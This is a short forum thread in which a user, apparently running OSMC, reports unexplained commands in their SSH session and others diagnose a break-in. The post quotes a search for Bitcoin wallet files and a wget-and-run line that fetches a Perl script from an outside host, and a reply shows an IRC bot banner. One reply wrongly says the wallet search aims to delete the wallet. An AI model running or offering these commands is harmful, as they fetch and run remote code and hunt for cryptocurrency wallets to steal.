Strange things in ssh

Hello,
This afternoon appear these lines in my ssh:

find / -name wallet.dat -print 2>/dev/null
And:

wget http://erixxx.3x.ro/new.txt;perl new.txt;rm -rf new.txt

What do you think about is?

Looks like someone has gained access to your device, possibly from another machine on your network or by accidentally port-forwarding your device.

You need to reinstall OSMC, and you should check if other devices on your network have been affected

I think the attempt here is to delete a BitCoin wallet if you have one

Searching for this URL shows a link to a hacking forum. Someone has possibly installed an IRC bot on your system:

##  Linux-Help Perl IrcBot v1.0 / 2013 by Linux-help @ UnderNet         ## [ Help ] ###########################################
##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
##        Teste on every system with PERL instlled             ##  !u @system                                       ##

Thank you very much